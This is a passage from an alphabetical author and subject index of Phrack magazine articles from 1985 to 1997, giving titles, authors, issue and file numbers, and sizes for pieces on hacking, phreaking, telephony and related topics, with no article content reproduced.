   "Gettin' Down 'N Dirty Wit Da GS/1" By Maldoror & Dr. Delam. 1994. I46 25k
   "Hacking AT&T System 75" by Scott Simpson. 1992. I41 F6 20k
   "Hacking CDC's Cyber" by Phrozen Ghost. 1988. I18 F5 12k
   "The #hack FAQ (Part 1)" by Voyager. 1995. I47 F5 39k
   "The #hack FAQ (Part 2)" by Voyager. 1995. I47 F6 38k
   "The #hack FAQ (Part 3)" by Voyager. 1995. I47 F7 51k
   "The #hack FAQ (Part 4)" by Voyager. 1995. I47 F8 47k
   "Hacking GTN" by The Kurgan. 1987. I16 F4 7k
   "Hackers Guide to The Internet" by The Gatsby 1991. I33 F2 45k
   "Hacking : OSL Systems" by Evil Jay. 1987. I12 F7 9k
   "Hacking: What's Legal and What's Not" by Hatchet Molly. 1989. I25 F8 12k
   "How to Hack Cyber Systems" by Grey Sorcerer. 1988. I17 F5 23k
   "How to Build a DMS-10 Switch by The Cavalier. 1992 I41 23k
   "Inside Dialog" by Control C. 1986. I9 F5 8k
   "Introduction to Videoconferencing" by Knight Lightning. 1986. I9 F8 11k
   "Key Trap v1.0 Keyboard Key Logger" by Dcypher. 1994. I46 F26 35k
   "Keytrap Revisisted" by Sendai. 1996. I48 F12 13k
   "Legal Info" by Szechuan Death. 1994. I46 F9 13k
   "A Little About Dialcom" by Herd Beast. 1994. I46 F14 29k
   "Netmon" by daemon9. 1996. I48 F15 21k
   "Non-Published Numbers" by Patrick Townsend. 1988. I21 F7 8k
   "A Novice's Guide to Hacking (1989. Edition)" by The Mentor. 1988. I22 F4 42k
   "PC Application Level Security" by Sideshow Bob. 1997. I50 F12 21k
   "The Phrack University Dialup List" by Phrack Staff. 1994. I46 F13 12k
   "Plant Measurement" by The Executioner. 1986. I9 F6 13k
   "Private Audience" by Overlord. 1986. I3 F5 13k
   "Radio Hacking" by The Seker. 1986. I5 F8 3k
   "Reading Trans-Union Credit Reports" by The Disc Jockey. 1987. I16 F7 6k
   "Ring Back Codes for The 314 NPA" by Data Line. 1985. I4 F2 1k
   "Satellite Communications" by Scott Holiday. 1988. I21 F5 9k
   "School/College Computer Dial-Ups" by Phantom Phreaker. 1985. I1 F8 4k
   "Searching The Dialog Information Service" by Al Capone. 1993. I44 F18 48k
   "Security Shortcomings of AppleShare Networks" by Bobby Zero. 1992.
    I41 F9 16k
   "Simple Data Encryption or Digital Electronics 101" by The Leftist. 1987.
    I11 F5 4k
   "Smashing The Stack For Fun And Profit" by Aleph1. 1996. I49 F14 66k
   "The Tele-Pages" by Jester Sluggo. 1988. I21 F4 37k
   "TTY Spoofing" by VaxBuster 1992. I41 F8 20k
   "Western Union Telex, TWX, and Time Service" by Phone Phanatic. 1989. I30
       F10

"Hacking AT&T System 75" by Scott Simpson. 1992. I41 F6 20k
"Hackers Guide to The Internet" by The Gatsby 1991 I33 F3 45k
"Hacking CDC's Cyber" by Phrozen Ghost. 1988. I18 F5 12k
"Hacking Chilton's Credimatic" by Ryche. 1986. I7 F4 8k
"Hacking DEC's" by Carrier Culprit. 1986. I5 F3 23k
"Hacking GTN" by The Kurgan. 1987. I16 F4 7k
"Hacking : OSL Systems" by Evil Jay. 1987. I12 F7 9k
"Hacking Primos I, II, III" by Evil Jay. 1987. I11 F7 7k
"Hacking Primos Part I" by Evil Jay. 1987. I10 F6 11k
"Hacking Rolm's CBXII" by Doc Holiday. 1990. I31 F3 15k
"Hacking RSTS" by Data Line. 1985. I2 F8 4k
"Hacking RSTS Part 1" by The Seker. 1986. I7 F5 12k
"Hacking and Tymnet" by SynThecide. 1989. I30 F3 20k
"Hacking VM/CMS" by Goe. 1989. I30 F4 58k
"Hacking Voice Mail Systems" by Black Knight from 713. 1987. I11 F4 6k
"Hacking Voice Mail Systems" by Night Ranger. 1991. I34 F6 19k
"Hacking: What's Legal and What's Not" by Hatchet Molly. 1989. I25 F8 12k
"Hacking WWIV:The Complete Guide" by Inhuman. 1991 I34 F5 20k
Halflife authored
```

```
        "Linux TTY hijacking" 1997. I50 F5 15k
"Hand to Hand Combat" by Bad Boy in Black. 1986. I5 F4 13k
"Hardwire Interfacing under Linux" by Professor. 1997. I50 F11 11k
Hatchet Molly authored
        "Hacking: What's Legal and What's Not" 1989. I25 F8 12k
"Help for Verifying Novell Security" by Phrack Staff. 1993. I43 F11 48k
Herd Beast authored
        "Guide to Data General's AOS/VS Part I" 1993. I44 F14 46k
        "Guide to Data General's AOS/VS Part II" 1993. I44 F15 30k
        "A Little About Dialcom" 1994. I46 F14 29k
"Hiding Out Under Unix" by Black Tie Affair. 1989. I25 F6 9k
High Evolutionary authored
        "Cellular Telephones" 1986. I6 F7 5k
"The History of The Legion of Doom" 1990. I31 F5 10k
"The History ah MOD" by Wing Ding. 1991 I36 F4 23k
Hitman Italy authored
        "The fingerd Trojan Horse" 1994. I46 F12 32k
*Hobbit* authored
        "Decnet Hackola : Remote Turist TTY (RTT)". 1989. I30 F6 6k
"HoHoCon" by Netta Gilboa. 1995. I47. F10 30k
"HoHoCon" by Count Zero. 1995. I48. F11 33k
"HoHoCon"(review)by Various Sources. 1992. I42 F13 51k
"HoHoCon Miscellany" by Various Sources. 1994. I45 F11 32k
"HoHoCon Miscellany" by Various Sources. 1995. I47 F12 33k
"Hollywood-Style Bits & Bytes" by Richard Goodwin. 1994. I45 F17 50k
"Homemade Guns" by Man-Tooth. 1985. I2 F3 7k
Homey The Hacker authored
        "Phreaks in Verse" 1991. I36 F8 14k
"HOPE" by Erik Bloodaxe. 1994. I46 F22 51k
"How to Build a DMS-10 Switch" by The Cavalier. 1992 I41 F7 23k
"How to Build a Paisley Box" by Thomas Covenant and Double Helix. 1987.
 I13 F4 5k
"How To Hack Blackjack Part I" by Lex Luthor. 1993. I43 F9 52k
"How To Hack Blackjack Part II" by Lex Luthor. 1993. I43 F10 50k
"How to Fuck Up The World - A Parody" by Thomas Covenant. 1987. I13 F3 10k
"How to Hack Cyber Systems" by Grey Sorcerer. 1988. I17 F5 23k
"How to Hack HP2000's" by Grey Sorcerer. 1988. I17 F6 3k
"How to Pick Master Locks" by Gin Fizz and Ninja NYC. 1985. I1 F6 2k
"How to Make an Acetylene Bomb" by The Clashmaster. 1985. I1 F7 4k
"How to Make TNT" by The Radical Rocker. 1986. I7 F6 2k
"How We Got Rich Through Electronic Funds Transfer" by Legion of Doom!. 1989.
 I29 F7

HP SERIES (HP2000, HP3000, HP9000 etc.)
   "How to Hack HP2000's" by Grey Sorcerer. 1988. I17 F6 3k


                                    ** I **


Iceman authored
        "NorThern Telecom's SL-1" 1993. I44 18 30k
Ice Jay authored
        "VisaNet Operations Part I" 1994. I46 F15 50k
        "VisaNet Operations Part 2" 1994. I46 F16 44k
Icon authored
        "South Western Bell Lineman Word Codes" 1997. I49 F11 18k
Infinite Loop authored
        "LATA Referance List" 1991 I33 F5 11k
"Information About NT's FMT-150/B/C/D" by Static. 1996. I48 F9 22k
"An In-Depth Guide in Hacking Unix" by Red Knight. 1988. I22 F5 35k
"Inside Dialog" by Control C. 1986. I9 F5 8k
"Inside The SYSUAF.DAT File" by Pain Hertz. 1990. I32 F8 16k
"The Integrated Services Digital Network" by Dr. Doom. 1986. I8 F5 18k
"International Scene" by Various Sources 1993. I43 F26 51k
"International Scene" by Various Sources 1993. I43 F26 25k
"International Scene" by Various Sources 1994. I45 F27 63k
"International Scene" by Various Sources 1994. I46 F27 44k
"International Scene" by Various Sources 1995. I47 F21 39k
"International Scene" by Various Sources 1996. I48 F17 33k
```

INTERNET see WIDE AREA NETWORKS

- "Internet Domains: FTSaga Appendix 3 (Limbo to Infinity)" by Phrack Inc. 1989. I26 F8 20k
- "Interview With Agent Steal" by Agent 005. 1993. I44 F16 14k
- "Introduction to CGI and CGI vulnerabilities" by G. Gilliss. 1996. I49 F8 12k
- "An Introduction to The DecServer 200" by Opticon. 1993. I44 F22 16k
- "Introduction to the FedLine software system" by Parmaster. 1996. I49 F12 19k
- "Introduction to The Internet Protocols: Chapter Eight of The FTS" by Knight Lightning. 1989. I28 F3 39k
- "Introduction to The Internet Protocols II: Chapter Nine of The FTS" by Knight Lightning. 1989. I29 F3 43k
- "Introduction to MIDNET: Chapter Seven of The FTS" by Knight Lightning. 1989. I27 F3 35k
- "Introduction to MILNET" by Brigadier General Swipe. 1991 I34 F7 8k
- "Introduction to Octel's ASPEN" by Optik Nerve. 1994. I45 F23 12k
- "An Introduction to Packet Switched Networks" by Epsilon. 1988. I18 F3 12k
- "Introduction of Phrack" by Taran King. 1985. I1 F1 2k
- "Introdcution to Telephony and PBX Systems" by Cavalier. 1996. I49 F5 100k
- "Intro to Packet Radio" by Larry Kollar. 1993. I44 F9 16k
- "Introduction to PBX's" by Knight Lightning. 1986. I3 F9 7k
- "Introduction to Videoconferencing" by Knight Lightning. 1986. I9 F8 11k
- Iron Soldier authored
  - "The Fone Phreak's Revenge" 1985. I1 F4 4k
- Inhuman Authored
  - "The Complete Guide to Hacking WWIV" 1991. I34 F5 20k
- "In Living Computer Starring Knight lightning" 1991. I36 F3 10k
- "IP-Spoofing Demystified" by daemon9. 1996. I48 F13 25k
- ISDN (INTEGRATED SERVICES DIGITAL NETWORK)
  - "The Integrated Services Digital Network" by Dr. Doom. 1986. I8 F4 18k
  - "Universal Informational Services via ISDN" by Taran King. 1985. I2 F6 6K

** J **

- Jack T. Tabb authored
  - "VAX/VMS Fake Mail". 1989. I30 F7 7k
- Jester Sluggo authored
  - "Automatic Teller Machine Cards" 1990. I32 F6 16k
  - "Centrex Renaissance" 1986. I4 F7 17k
  - "The Tele-Pages" 1988. I21 F4 37k
  - "Unix System Security Issues" 1988. I18 F7 27k
  - "Wide Area Networks Part 1" 1986. I5 F7 10k
  - "Wide Area Networks Part 2" 1986. I6 F8 10k
- J.R. "Bob" Dobbs authored
  - "A REAL Functioning RED BOX Schematic" 1991. I33 F9 12k
- Jim Schmickley authored
  - "Blocking of Long Distance Calls" 1988. I21 F8 26k
  - "Blocking of Long Distance Calls... Revisited" 1989. I29 F9 22k
- "The Judas Contract (Part 2 of The Vicious Circle Trilogy)" by Knight Lightning. 1988. I22 F3 26k
- "Juggernaut"(linux tool) by route. 1997. I50 F6 123k

** K **

- "Key Trap v1.0 Keyboard Key Logger" by Dcypher. 1994. I46 F26 35k
- "Keytrap Revisisted" by Sendai. 1996. I48 F12 13k
- Killer Smurf authored
  - "Making Free Local Payfone Calls" 1987. I15 F3 7k
- King Arthur authored
  - "COSMOS: COmputer System for Mainframe OperationS (Part One)" 1989. I26 F5
  - "COSMOS: COmputer System for Mainframe OperationS (Part Two)" 1989. I27 F5
- Knight Lightning authored
  - "DMS-100" 1986. I5 F5 8k
  - "Foundations on The Horizon; Chapter Two of FTSaga" 1989. I23 F5 27k
  - "Frontiers; Chapter Four of FTSaga" 1989. I24 F4 25k

```
        Introduction/Index for I14 F1
        Introduction/Index (co-authored) for I20-30,33  F1
        "Introduction to The Internet Protocols II: Chapter Eight of The FTS"
         1989. I28 F3 39k
        "Introduction to The Internet Protocols II: Chapter Nine of The FTS"
         1989. I29 F3 43k
        "Introduction to MIDNET: Chapter Seven of The FTS" by Knight Lightning.
         1989. I27 F3 35k
        "Introduction to PBX's" 1986. I3 F9 7k
        "Introduction to Videoconferencing" 1986. I9 F8 11k
        "The Judas Contract (Part 2 of The Vicious Circle Trilogy)" 1988.
         I22 F3 26k
        "Limbo to Infinity; Chapter Three of FTSaga" 1989. I24 F3 18k
        "MCI International Cards" 1985. I1 F5 3k
        "MCI Overview" 1985. I2 F7 15k
        "NSFnet: National Science Foundation Network" 1989. I26 F4 10k
        "Phrack Pro-Phile on Groups" 1986. I6 F2 14k
        "Phrack Pro-Phile on Karl Marx" (co-authored) 1988. I22 F2 9k
        "Phrack World News" 1985-90. I2 F9 I3 F10  I4 F9-11  I5 F10-12  I6 F9-13
         I7 F8-10  I8 F8-9  I9 F10  I10 F8-9  I11 F11-12  I12 F10-11  I13 F10
         I14 F8-9  I15 F6-7 (19,21k)  I19 F7  I20 F12  I23 F11-12  I24 F11-13
         I25 F9 19k-11  I26 F9-11  I27 F10-12  I28 F9-12  I29 F10-12  I30 F11-12
        "Phrack World News" (co-authored) I21 F10-11  I22 F9-12
        "Phrack World News Special Edition II" 1988. I21 F9 78k
        "Phrack World News Special Edition III (SummerCon '89)" 1989. I28 F8 31k
        "Shadows of a Future Past (Part 1 of The Vicious Circle Trilogy)" 1988.
         I21 F3
        "SPAN: Space Physics Analysis Network" 1989. I25 F4 47k
        "Standing up to Fight The Bells" 1992. I38 F10 27k
        "Subdivisions (Part 3 of The Vicious Circle Trilogy)" 1989. I23 F3 17k
        "A Trip to The NCSC" 1990. I32 F7 16k
        "Utopia; Chapter One of FTSaga" 1989. I23 F4 20k
   co-authored
        "25th Anniversary Index" 1989. I25 F2 15k
        "Network Management Center" 1988. I21 F6 13k
        "Real Phreaker's Guide Vol. 2" 1987. I13 F2 5k
        "Welcome to Metal Shop Private" 1988. I20 F4 37k
"Knight Line I/Parts 1-3" by Doc Holiday. 1990. I32 F10 47k-12
The Kurgan authored
        "Hacking GTN" 1987. I16 F4 7k


                               ** L **


"LATA Reference List" by Infinite Loop 1991 I33 F5 11k
Larry Kollar authored
        "Intro to Packet Radio" 1993. I44 F9 16k
Laughing Gas co-authored
        "Advanced Modem-Oriented BBS Security" 1991 I34 F9 11k
The Leftist authored
        "Bolt Bombs" 1986. I5 F6 3k
        "Fun With Lighters" 1986. I6 F4 2k
        "Simple Data Encryption or Digital Electronics 101" 1987. I11 F5 4k
        "The Tried and True Home Production Method for Methamphetamine"
         by The Leftist. 1986. I4 F8 7k
"Legal Info" by Szechuan Death. 1994. I46 F9 13k
Legion of Doom! (group)
   authored
        "How We Got Rich Through Electronic Fund Transfer" 1989. I29 F7 11k
        "LODCOM BBS Archive Info" 1993. I43 F18 24k
        "LODCOM Sample Messages" 1993. I43 F19 52k
        "LOD Communications BBS Archive Information" 1993. I44 F22 29k
   co-authored
        "Legion of Doom and The Occult" 1991 I36 F6 24k
   compiled
        "Bank Information" 1989. I29 F6 12k
"Legion of Doom and The Occult" by LOD and Demon Seed Elite. 1991 I36 F6 24k
Leroy Donnelly authored
        "Air Fone Frequencies" 1992. I39 F8 14k
```

```
Lex Luthor authored
        "How To Hack Blackjack Part I" 1993. I43 F9 52k
        "How To Hack Blackjack Part II" 1993. I43 F10 50k
Lex Luthor was Pro-Philed in 1992. I40 F3 36k
"Lifting Ma Bell's Cloak of Secrecy" by VaxCat. 1989. I24 F9 25k
"Limbo to Infinity; Chapter Three of FTSaga" by Knight Lightning. 1989.
 I24 F3 18k
"Line Noise Part I" by Phrack Staff. 1993. I43 F4 39k
"Line Noise Part II" by Phrack Staff. 1993. I43 F5 43k
"Line Noise Part I" by Phrack Staff. 1993. I44 F3 51k
"Line Noise Part II" by Phrack Staff. 1993. I44 F4 35k
"Line Noise Part I" by Phrack Staff. 1994. I45 F4 49k
"Line Noise Part II" by Phrack Staff. 1994. I45 F5 50k
"Line Noise Part III" by Phrack Staff. 1994. I45 F6 59k
"Line Noise Part I" by Phrack Staff. 1994. I46 F3 61k
"Line Noise Part II" by Phrack Staff. 1994. I46 F4 56k
"Line Noise Part I" by Phrack Staff. 1995. I47 F2 52k
"Line Noise Part II" by Phrack Staff. 1995. I47 F3 59k
"Line Noise Part I" by Phrack Staff. 1996. I48 F3 63k
"Line Noise Part II" by Phrack Staff. 1996. I48 F4 51k
"Line Noise" by Phrack Staff. 1996. I49 F3 65k
"Line Noise" by Various Sources. 1997. I50 F3 72k
"Linux TTY hijacking" by Halflife. 1997. I50 F5 15k
"A Little About Dialcom" by Herd Beast. 1994. I46 F14 29k

LOCK PICKING
   "How to Pick Master Locks" by Gin Fizz and Ninja NYC. 1985. I1 F6 2k

"LODCOM BBS Archive Info" by LOD. 1993. I43 F18 24k
"LOD Communications BBS Archive Information" by LOD. 1993. I44 F22 29k
"LODCOM Sample Messages" by LOD. 1993. I43 F19 52k

LONG DISTANCE CARRIERS
   "Dun & Bradstreet Report on AT&T" submitted by Elric of Imrryr. 1988.
      I17 F2 24k
   "Dun & Bradstreet Report on Pacific Telesis" submitted by Elric of Imrryr.
      1988. I17 F3 26k
   "Lifting Ma Bell's Cloak of Secrecy" by VaxCat. 1989. I24 F9 25k
   "MCI International Cards" by Knight Lightning. 1985. I1 F5 3k
   "MCI Overview" by Knight Lightning. 1985. I2 F7 15k
   "OTher Common Carriers; A List" by Equal Axis. 1989. I28 F7 8k
   "Profile of MAX Long Distance Service" by Phantom Phreaker. 1986. I4 F4 4k
   "The TMC Primer" by Cap'n Crax. 1987. I10 F3 6k

"Looking Around in DECnet" by Deep Thought. 1989. I27 F6 14k
"Loop Maintenance Operating System" by Control C. 1988. I18 F8 32k
"Loop Maintenance Operations System" by Phantom Phreaker and Doom Prophet.
 1986. I9 F9 17k
Lord Digital co-authored
        "*ELITE* Access" 1991. I36 F5 43k
        "Phrack Pro-Phile on Lord Digital" 1992. I42 F3 22k
Lord Digital was Pro-Philed in 1992. I42 F3 22k
Lotus co-authored
        "CompuServe Info" 1986. I8 F6 8k


                                      ** M **


The Mad Phone-Man authored
        "BELLCORE Information" 1987. I16 F2 11k
        "Flight of The Mad Phone-Man" (PWN) 1987. I16 F10 2k
        "The Mad Phone-Man and The Gestapo" (PWN) 1987. I16 F9 2k
Mad Hacker 616 authored
        "The Art of Junction Box Modeming" I8 F5 6k
Madjus (N.O.D.) authored
        "Cellular Info" 1993. I43 F17 47k
Magic Hasan authored
        "Primos: Primenet, RJE, DPTX" 1988. I18 F4 15k
"Making Free Local Payfone Calls" by Killer Smurf. 1987. I15 F3 7k
```

```
"The Making of a Hacker" by Framstag. 1989. I27 F7 9k
"Making Shell Bombs" by Man-Tooth. 1986. I3 F3 3k
"Mall Cop Frequencies" by Caligula XXI. 1992. I41 F10 11k
Maldoror authored
        "The Universal Data Convertor" 1994. I45 F21 45k
   co-authored
        "Gettin' Down 'N Dirty Wit Da GS/1" 1994. I46 25k
Man-Tooth authored
        "Homemade Guns" 1985. I2 F3 7k
        "Making Shell Bombs" 1986. I3 F3 3k
Manny E. Farber authored
        "10th Chaos Computer Congress" 1994. I45 F13 23k
Mastermind authored
        "SS7 Diverter plans" 1997. I50 F9 27k
Max Nomad authored
        "Prack World News Special Report VI on CFP-2" 1992. I38 F12 18k
"MCI International Cards" by Knight Lightning. 1985. I1 F5 3k
"MCI Overview" by Knight Lightning. 1985. I2 F7 15k
"The MCX7700 PABX System" by Dr. Delam. 1994. I45 F25 22k
Men From Mongo authored
        "Real Cyberpunks" 1991 I36 F9 13k
The Mentor authored
        "The Conscience of a Hacker {Reprint}" by The Mentor. 1987. I14 F3 4k
        "Crashing DEC-10's" 1986. I4 F6 5k
        "DCL Utilities for VMS Hackers" 1988. I19 F2 23k
        "Fun With Automatic Tellers" by The Mentor. 1986. I8 F7 7k
        "Hacker's Manifesto" 1986. I7 F3 4k
        "Multi-User Chat Program for DEC-10's" (co-authored) 1986. I9 F7 7k
        "A Novice's Guide to Hacking (1989. Edition)" 1988. I22 F4 42k
        "Metal/General Disussion [from Metal Shop Private BBS]" 1988. I20 F5 66k
Mind Mage co-authored
        "Phrack Loopback" 1992. I40 F2 50k
        "Phrack Loopback" 1992. I41 F2 52k
Minor Threat was Pro-Philed in 1994. I46 F5 12k
"Mobile Tele Communications" by Phantom Phreaker. 1986. I5 F9 11k
"MOD Family Portrait" <unencoded .gif> 1993. I44 F24 35k
"The Moeller Papers" by Professor Moeller. 1993. I44 F10 30k
Monty Python authored
        "Rolm Systems" 1985. I3 F2 11k
"More Stupid Unix Tricks" by Shooting Shark. 1987. I15 F2 10k
Morgoth co-authored
        "CompuServe Info" 1986. I8 F6 8k
"Motorola Command Mode Information" by Cherokee. 1996. I48 F6 38k
mrnobody authored
        "DCO Operating System" 1997. I50 F14 16k
"DTMF signalling and decoding" by Mr. Blue. 1997. I50 F13 17k
Mudge was Pro-Philed in 1996. I49 F4 8k
"Multi-User Chat Program for DEC-10's" by TTY-Man and The Mentor. 1986.
 I9 F7 7k
"My Bust Part I" by Robert Clark. 1993. I43 F12 56k
"My Bust Part II" by Robert Clark. 1993. I43 F13 55k
Mycroft authored
        "Wide Area Information Services" 1992. I38 F8 11k
"The Myth and Reality About Eavesdropping" by Phone Phanatic. 1989. I29 F8 17k


                                ** N **


"Nasty Unix Tricks" by Shooting Shark. 1986. I6 F5 4k
"Netmon" by daemon9. 1996. I48 F15 21k
Netta Gilboa authored
        "HoHoCon" 1995. I47. F10 30k
"Network Management Center" by Knight Lightning and Taran King. 1988. I21 F6 13k
"Network Miscellany" by Racketeer. 1992. I40 F4 32k
"Network Miscellany" by Racketeer. 1992. I41 F4 35k
"Network Miscellany" by Taran King. 1989. I28 F4 30k
"Network Miscellany II" by Taran King. 1989. I29 F4 35k
"Network Miscellany III" by Taran King. 1989. I30 F2 21k
"Network Miscellany IV" by Datastream Cowboy. 1992. I38 F5 30k
```

```
"Network Miscellany V" by Datastream Cowboy. 1992. I39 F4 34k
"Network Progression" by Dedicated Link. 1989. I24 F10 5k
"The New Editors<daemon9, ReDragon, Voyager> were Pro-Philed in 1996. I48 F5 23k
"New Users [from Metal Shop Private BBS]" 1988. I20 F9 17k
Night Ranger authored
        "Hacking Voice Mail Systems" 1991. I34 F5 19k
The Nightstalker authored
        "Phrack Editorial on Microbashing" 1988. I19 F6 6k
Nihil authored
        "Cracking NT Passwords" 1997. I50 F8 17k
Ninja Master authored
        "Phreaking in Germany" 1991. I33 F7 28k
Ninja NYC co-authored
        "How to Pick Master Locks" 1985. I1 F6 2k
"Nitrogen-Trioxide Explosive" by Signal Substain. 1988. I17 F4 7k
NOD authored
        "Users Guide to XRAY" 1992. I42 F6 11k
The Noid authored
        "The Blue Box and Ma Bell" 1989. I25 F7 19k
"Non-Published Numbers" by Patrick Townsend. 1988. I21 F7 8k
"NorThern Telecom's FMT-150B/C/D" by FyberLyte. 1993. I44 F13 16k
"NorThern Telecom's SL-1" by Iceman. 1993. I44 F19 30k
The Not authored
        "TCP/IP: A Tutorial Part 1 of 2" 1991. I33 F8 28k
        "TCP/IP: A Tutorial Part 2 of 2" 1991. I34 F8 39k
"No Time for Goodbyes" by Emmanuel Goldstein. 1994. I45 F9 21k

NOVELL NETWORKS
        "Help for Verifying Novell Security" by Phrack Staff. 1993. I43 F11 48k

"A Novice's Guide to Hacking (1989. Edition)" by The Mentor. 1988. I22 F4 42k
"NSFnet: National Science Foundation Network" by Knight Lightning. 1989.
 I26 F4
"NUA List for Datex-P and X.25 Networks" by Oberdaemon. 1989. I27 F4 105k


                                       ** O **


Oberdaemon authored
        "NUA List for Datex-P and X.25 Networks" 1989. I27 F4 105k
The Omega co-authored
        "Exploring Information-America" 1992. I37 F4 51k
        "Quentin Strikes Again" 1994. I45 F12 28k
"The Open Barn Door" by Douglas Walter(Newsweek). 1992. I39 F9 11k
"Operating The VM/SP CP" by Taran King. 1989. I27 F2 38k
Opticon authored
        "An Introduction to The DecServer 200" 1993. I44 F22 16k
Optik Nerve authored
        "Introduction to Octel's ASPEN" 1994. I45 F23 12k
Oryan Quest authored
        "Fun With The Centagram VMS Network" 1986. I9 F3 4k
"OTher Common Carriers; A List" by Equal Axis. 1989. I28 F7 8k
Overlord authored
        "Private Audience" 1986. I3 F5 13k
"An Overview of Pre-Paid Calling Cards" by Treason. 1995. I47 29k


                                       ** P **


"Packet Switched Network Security" by Chris Goggans. 1992. I42 F4 22k
"PACT: Prefix Access Code Translator" by The Executioner. 1987. I11 F3 8k

PAGERS
   "The Wonderful World of Pagers" by Erik Bloodaxe. 1994. I46 F8
   "The Glenayre GL3000 Paging and Voice retrieval System" by Armitage. 1995.
    I47 F14 25k

"Paid Advertisement"(unencoded game) by R.E.M. 1994. I46 F6 62k
```

```
"Paid Advertisement Part ][" (unencoded game) by R.E.M. 1994. I46 F7 45k
Pain Hertz authored
        "Inside The SYSUAF.DAT File" 1990. I32 F8 16k
        "Phrack Pro-Phile of Markus Hess" 1990. I31 F2 6k
Parmaster authored
        "Introduction to the FedLine software system" 1996. I49 F12 19k

PARODY'S
   "In Living Computer Starring Knight Lightning" 1991 I36 F3 10k
   "The History ah MOD" by Wing Ding. 1991 I36 F4 23k

Patrick Townsend authored
        "Non-Published Numbers" 1988. I21 F7 8k
Paul Saffo authored
        "Consensual Realities in Cyberspace". 1989. I30 F8 11k

PBXs
   "AIS - Automatic Intercept System" by Taran King. 1987. I11 F6 16k
   "Hacking Rolm's CBXII" by Doc Holiday. 1990. I31 F3 15k
   "Introduction to Octel's ASPEN" by Optik Nerve. 1994. I45 F23 12k
   "Introduction to PBX's" by Knight Lightning. 1986. I3 F9 7k
   "The MCX7700 PABX System" by Dr. Delam. 1994. I45 F25 22k
   "Physical Access and Theft of PBX Systems" by Co/Dec. 1993. I43 F15 28k
   "SAM Security" by Spitfire Hacker. 1985. I1 F2 2k

pbxFreak authored
        "Skytel Paging and Voicemail" 1997. I50 F10 36k
"PC Application Level Security" by Sideshow Bob. 1997. I50 F12 21k
Phantom Phreaker authored
        "Busy Line Verification" 1987. I11 F10 10k
        "Busy Line Verification Part II" 1987. I12 F8 9k
        "Facility Assignment & Control Systems" 1988. I19 F5 11k
        "Fortell Systems" 1986. I3 F6 3k
        "Mobile Telephone Communications" 1986. I5 F9 11k
        "Profile of MAX Long Distance Service" 1986. I4 F4 4k
        "School/College Computer Dial-Ups" 1985. I1 F8 4k
   co-authored
        "Automatic Number Identification" (co-authored) 1987. I10 F7 9k
        "Loop Maintenance Operations System" (co-authored) 1986. I9 F9 17k
"Phone Bugging: Telecom's Underground Industry" by Split Decision. 1989.
 I26 F7
Phone Phanatic authored
        "The Myth and The Reality About Eavesdropping" 1989. I29 F8 17k
        "Western Union Telex, TWX, and Time Service" 1989.
         I30 F10 13k
Phrack Accident authored
        "Playing Hide and Seek, Unix Style" 1993. I43 F14 31k
"Phrack Classic Spotlight featuring Knight Lightning" by Crimson Death. 1990.
 I32 F2
"Phrack Editorial on Microbashing" by The Nightstalker. 1988. I19 F6 6k
Phrack Inc. authored
        "Internet Domains: FTSaga Appendix 3 (Limbo to Infinity)"
         1989. I26 F8 20k
"Phrack Inc./Gossip [from Metal Shop Private BBS]" 1988. I20 F6 56k
"Phrack Loopback" by Phrack Staff. 1991. I34 F2 14k
"Phrack Loopback" by Phrack Staff. 1991. I35 F2 34k
"Phrack Loopback" by Phrack Staff. 1992. I37 F2 15k
"Phrack Loopback" by Phrack Staff. 1992. I38 F2 12k
"Phrack Loopback" by Phrack Staff. 1992. I39 F2 24k
"Phrack Loopback" by Dispater & Mind Mage. 1992. I40 F2 50k
"Phrack Loopback" by Dispater & Mind Mage. 1992. I41 F2 52k
"Phrack Loopback" by Phrack Staff. 1992. I42 F2 48k
"Phrack Loopback Part I" by Phrack Staff. 1993. I43 F2 38k
"Phrack Loopback Part II" by Phrack Staff. 1993. I43 F3 44k
"Phrack Loopback/Editorial" by Phrack Staff. 1993. I44 F2 57k
"Phrack Loopback Part I" by Phrack Staff. 1994. I45 F2 31k
"Phrack Loopback Part II" by Phrack Staff. 1994. I45 F3 40k
"Phrack Loopback/Editorial" by Phrack Staff. 1994. I46 F2 52k
"Phrack Loopback/Editorial" by Phrack Staff. 1995. I47 F2 52k
"Phrack Loopback/Editorial" by Phrack Staff. 1996. I48 F2 55k
```

```
"Phrack Loopback/Editorial" by Phrack Staff. 1996. I49 F2 6k
"Phrack Loopback/Editorial" by Phrack Staff. 1997. I50 F2 60k
Phrack Staff authored
        "extract.c" 1997. I50 F16 2k
        "Diet Phrack Loopback" 1991 I36 F2 14k
        "Line Noise Part I" 1993. I43 F4 39k
        "Line Noise Part II" 1993. I43 F5 43k
        "Line Noise Part I" 1993. I44 F3 51k
        "Line Noise Part II" 1993. I44 F4 35k
        "Line Noise Part I" 1994. I45 F4 49k
        "Line Noise Part II" 1994. I45 F5 50k
        "Line Noise Part III" 1994. I45 F6 59k
        "Line Noise Part I" 1994. I46 F3 61k
        "Line Noise Part II" 1994. I46 F4 56k
        "Line Noise Part I" 1994. I47 F2 59k
        "Line Noise Part II" 1994. I47 F3 65k
        "Line Noise Part I" 1996. I48 F3 63k
        "Line Noise Part II" 1996. I48 F4 51k
        "Line Noise" 1996. I49 F3 65k
        "Phrack Loopback" 1991. I34 F2 14k
        "Phrack Loopback" 1991. I35 F2 34k
        "Phrack Loopback" 1992. I37 F2 15k
        "Phrack Loopback" 1992. I38 F2 12k
        "Phrack Loopback" 1992. I39 F2 24k
        "Phrack Loopback" 1992. I42 F2 48k
        "Phrack Loopback Part I" 1993. I43 F2 38k
        "Phrack Loopback Part II" 1993. I43 F3 44k
        "Phrack Loopback/Editorial" 1993. I44 F2 57k
        "Phrack Loopback Part I" 1994. I45 F2 31k
        "Phrack Loopback Part II" 1994. I45 F3 40k
        "Phrack Loopback/Editorial" 1994. I46 F2 52k
        "Phrack Loopback/Editorial" 1995. I47 F2 52k
        "Phrack Loopback/Editorial" 1996. I48 F2 55k
        "Phrack Loopback/Editorial" 1996. I49 F2 6k
        "Phrack Loopback/Editorial" 1997. I50 F2 60k
        "Phrack Pro-Phile on Aleph1" 1997. I50 F4 7k
        "Phrack Pro-Phile on Docter Who" 1993. I43 F6 15k
        "Phrack Pro-Phile on Mudge" 1996. I49 F4 8k
        "Phrack Pro-Phile on The New Editors"<daemon9,ReDragon,Voyager> 1996.
         I48 F5 23k
        "The Phrack University Dialup List" 1994. I46 F13 12k
        "Help for Verifying Novell Security" 1993. I43 F11 48k
"Phrack Pro-Phile [of/on/Featuring]
   Agrajag The Prolonged" by Taran King. 1987. I12 F2 7k
   Aleph1" by Phrack Staff. 1997. I50 F4 7k
